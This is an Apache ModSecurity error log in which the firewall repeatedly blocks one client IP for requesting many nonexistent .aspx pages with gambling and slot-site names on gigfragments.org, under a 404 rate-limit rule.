[Sun Feb 22 02:02:55.574910 2026] [:error] [pid 3516:tid 3528] [client 51.83.237.175:38188] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZnzT0taWLejEJFWY3FDrwAAAMk"]
[Sun Feb 22 02:02:57.595342 2026] [:error] [pid 4789:tid 4804] [client 51.83.237.175:54048] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZnzUa9_231lp37V1xxYjAAAAQ0"]
[Sun Feb 22 02:03:40.334367 2026] [:error] [pid 3204:tid 3482] [client 51.83.237.175:33332] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aZnzfHAwnUMG8727rz4cRQAAAJA"]
[Sun Feb 22 02:03:42.502396 2026] [:error] [pid 4789:tid 4805] [client 51.83.237.175:57832] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aZnzfq9_231lp37V1xxY1gAAAQ4"]
[Sun Feb 22 02:03:44.507761 2026] [:error] [pid 3195:tid 3447] [client 51.83.237.175:57844] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZnzgA28anZ1nWyZCI5JZAAAAEg"]
[Sun Feb 22 02:03:46.708040 2026] [:error] [pid 3204:tid 3481] [client 51.83.237.175:57848] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aZnzgnAwnUMG8727rz4cTwAAAI8"]
[Sun Feb 22 02:03:48.997909 2026] [:error] [pid 3179:tid 3415] [client 51.83.237.175:52192] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZnzhNgAWCcL8bTGJUUyMAAAAAM"]
[Sun Feb 22 02:03:51.076357 2026] [:error] [pid 4789:tid 4791] [client 51.83.237.175:52208] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker.aspx"] [unique_id "aZnzh69_231lp37V1xxY8AAAAQA"]
[Sun Feb 22 02:03:52.954736 2026] [:error] [pid 3179:tid 3418] [client 51.83.237.175:52224] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "aZnziNgAWCcL8bTGJUUyMQAAAAY"]
[Sun Feb 22 02:03:56.073998 2026] [:error] [pid 3516:tid 3528] [client 51.83.237.175:52236] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aZnzjEtaWLejEJFWY3FD6AAAAMk"]
[Sun Feb 22 02:03:58.213183 2026] [:error] [pid 3516:tid 3542] [client 51.83.237.175:53702] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZnzjktaWLejEJFWY3FD7gAAANc"]
[Sun Feb 22 02:07:13.873943 2026] [:error] [pid 3516:tid 3541] [client 51.83.237.175:47834] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aZn0UUtaWLejEJFWY3FE6gAAANY"]
[Sun Feb 22 02:07:17.467513 2026] [:error] [pid 3204:tid 3466] [client 51.83.237.175:53916] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aZn0VXAwnUMG8727rz4dTAAAAIA"]
[Sun Feb 22 02:07:19.630377 2026] [:error] [pid 3195:tid 3443] [client 51.83.237.175:53926] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aZn0Vw28anZ1nWyZCI5KUAAAAEQ"]
[Sun Feb 22 02:07:22.009966 2026] [:error] [pid 3179:tid 3431] [client 51.83.237.175:53934] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aZn0WtgAWCcL8bTGJUUzCwAAABM"]
[Sun Feb 22 02:07:24.136010 2026] [:error] [pid 3195:tid 3450] [client 51.83.237.175:53938] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aZn0XA28anZ1nWyZCI5KVwAAAEs"]
[Sun Feb 22 02:07:26.228015 2026] [:error] [pid 3204:tid 3478] [client 51.83.237.175:53950] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZn0XnAwnUMG8727rz4dWgAAAIw"]
[Sun Feb 22 02:07:28.502199 2026] [:error] [pid 3179:tid 3433] [client 51.83.237.175:58270] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aZn0YNgAWCcL8bTGJUUzDwAAABU"]
[Sun Feb 22 02:07:30.878270 2026] [:error] [pid 4789:tid 4794] [client 51.83.237.175:58282] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aZn0Yq9_231lp37V1xxaSwAAAQM"]
[Sun Feb 22 02:07:33.210266 2026] [:error] [pid 3195:tid 3460] [client 51.83.237.175:58292] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aZn0ZQ28anZ1nWyZCI5KXAAAAFU"]
[Sun Feb 22 02:07:35.263579 2026] [:error] [pid 3195:tid 3454] [client 51.83.237.175:58308] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aZn0Zw28anZ1nWyZCI5KYAAAAE8"]
[Sun Feb 22 02:07:37.300694 2026] [:error] [pid 4789:tid 4813] [client 51.83.237.175:35234] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aZn0aa9_231lp37V1xxaXgAAARY"]
[Sun Feb 22 02:07:39.241564 2026] [:error] [pid 3204:tid 3468] [client 51.83.237.175:35238] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZn0a3AwnUMG8727rz4dZwAAAII"]
[Sun Feb 22 02:07:41.258912 2026] [:error] [pid 3204:tid 3471] [client 51.83.237.175:35240] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZn0bXAwnUMG8727rz4dbwAAAIU"]
[Sun Feb 22 02:07:43.285329 2026] [:error] [pid 3204:tid 3481] [client 51.83.237.175:35250] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aZn0b3AwnUMG8727rz4ddQAAAI8"]
[Sun Feb 22 02:07:45.894866 2026] [:error] [pid 3179:tid 3432] [client 51.83.237.175:35254] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZn0cdgAWCcL8bTGJUUzGgAAABQ"]
[Sun Feb 22 02:07:48.096249 2026] [:error] [pid 3516:tid 3520] [client 51.83.237.175:48154] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aZn0dEtaWLejEJFWY3FFJAAAAME"]
[Sun Feb 22 02:07:50.086353 2026] [:error] [pid 3516:tid 3531] [client 51.83.237.175:48162] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aZn0dktaWLejEJFWY3FFJgAAAMw"]
[Sun Feb 22 02:07:52.029372 2026] [:error] [pid 4789:tid 4791] [client 51.83.237.175:48166] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aZn0eK9_231lp37V1xxahwAAAQA"]
[Sun Feb 22 02:07:54.046939 2026] [:error] [pid 4789:tid 4796] [client 51.83.237.175:48182] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aZn0eq9_231lp37V1xxaigAAAQU"]
[Sun Feb 22 02:07:56.149957 2026] [:error] [pid 3204:tid 3474] [client 51.83.237.175:48192] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aZn0fHAwnUMG8727rz4dgQAAAIg"]
[Sun Feb 22 02:07:58.229941 2026] [:error] [pid 3516:tid 3536] [client 51.83.237.175:55664] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aZn0fktaWLejEJFWY3FFNQAAANE"]
[Sun Feb 22 02:08:00.276208 2026] [:error] [pid 3204:tid 3484] [client 51.83.237.175:55674] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aZn0gHAwnUMG8727rz4djAAAAJI"]
[Sun Feb 22 02:08:02.451946 2026] [:error] [pid 4789:tid 4798] [client 51.83.237.175:55686] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aZn0gq9_231lp37V1xxanQAAAQc"]
[Sun Feb 22 02:08:04.635775 2026] [:error] [pid 3204:tid 3468] [client 51.83.237.175:55692] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZn0hHAwnUMG8727rz4dlQAAAII"]
[Sun Feb 22 02:08:06.516524 2026] [:error] [pid 3179:tid 3434] [client 51.83.237.175:55694] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZn0htgAWCcL8bTGJUUzKAAAABY"]
[Sun Feb 22 02:08:08.583048 2026] [:error] [pid 4789:tid 4796] [client 51.83.237.175:50594] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZn0iK9_231lp37V1xxaqQAAAQU"]
[Sun Feb 22 02:08:45.283246 2026] [:error] [pid 4789:tid 4814] [client 51.83.237.175:50606] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZn0ra9_231lp37V1xxbCgAAARc"]
[Sun Feb 22 02:08:49.878233 2026] [:error] [pid 3204:tid 3486] [client 51.83.237.175:43200] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZn0sXAwnUMG8727rz4d3wAAAJQ"]
[Sun Feb 22 02:08:59.088770 2026] [:error] [pid 3516:tid 3539] [client 51.83.237.175:43210] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZn0u0taWLejEJFWY3FFtAAAANQ"]
[Sun Feb 22 02:09:01.301355 2026] [:error] [pid 3516:tid 3538] [client 51.83.237.175:47910] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZn0vUtaWLejEJFWY3FFuQAAANM"]
[Sun Feb 22 02:09:04.235462 2026] [:error] [pid 4789:tid 4815] [client 51.83.237.175:47926] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZn0wK9_231lp37V1xxbIgAAARg"]
[Sun Feb 22 02:09:07.362846 2026] [:error] [pid 4789:tid 4791] [client 51.83.237.175:60890] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZn0w69_231lp37V1xxbJwAAAQA"]
[Sun Feb 22 02:09:09.704866 2026] [:error] [pid 4789:tid 4806] [client 51.83.237.175:60894] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aZn0xa9_231lp37V1xxbKQAAAQ8"]
[Sun Feb 22 02:09:12.756460 2026] [:error] [pid 3516:tid 3529] [client 51.83.237.175:60896] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aZn0yEtaWLejEJFWY3FFvgAAAMo"]
[Sun Feb 22 02:09:16.784690 2026] [:error] [pid 3204:tid 3485] [client 51.83.237.175:60898] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aZn0zHAwnUMG8727rz4eBQAAAJM"]
[Sun Feb 22 02:09:19.804095 2026] [:error] [pid 3516:tid 3523] [client 51.83.237.175:36628] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aZn0z0taWLejEJFWY3FFxwAAAMQ"]
[Sun Feb 22 02:09:22.327827 2026] [:error] [pid 3179:tid 3436] [client 51.83.237.175:36642] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZn00tgAWCcL8bTGJUUzgwAAABg"]
[Sun Feb 22 02:09:24.914901 2026] [:error] [pid 3516:tid 3537] [client 51.83.237.175:36652] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aZn01EtaWLejEJFWY3FFzQAAANI"]
[Sun Feb 22 02:09:27.208677 2026] [:error] [pid 4789:tid 4811] [client 51.83.237.175:54360] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aZn0169_231lp37V1xxbRgAAARQ"]
[Sun Feb 22 02:09:29.443722 2026] [:error] [pid 4789:tid 4799] [client 51.83.237.175:54362] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aZn02a9_231lp37V1xxbUAAAAQg"]
[Sun Feb 22 02:09:32.081777 2026] [:error] [pid 3204:tid 3485] [client 51.83.237.175:54364] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aZn03HAwnUMG8727rz4eFwAAAJM"]
[Sun Feb 22 02:09:34.405189 2026] [:error] [pid 4789:tid 4799] [client 51.83.237.175:54366] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZn03q9_231lp37V1xxbYgAAAQg"]
[Sun Feb 22 02:09:37.362294 2026] [:error] [pid 3204:tid 3490] [client 51.83.237.175:59874] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aZn04XAwnUMG8727rz4eHQAAAJg"]
[Sun Feb 22 02:09:40.419381 2026] [:error] [pid 3516:tid 3541] [client 51.83.237.175:59890] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aZn05EtaWLejEJFWY3FF0QAAANY"]
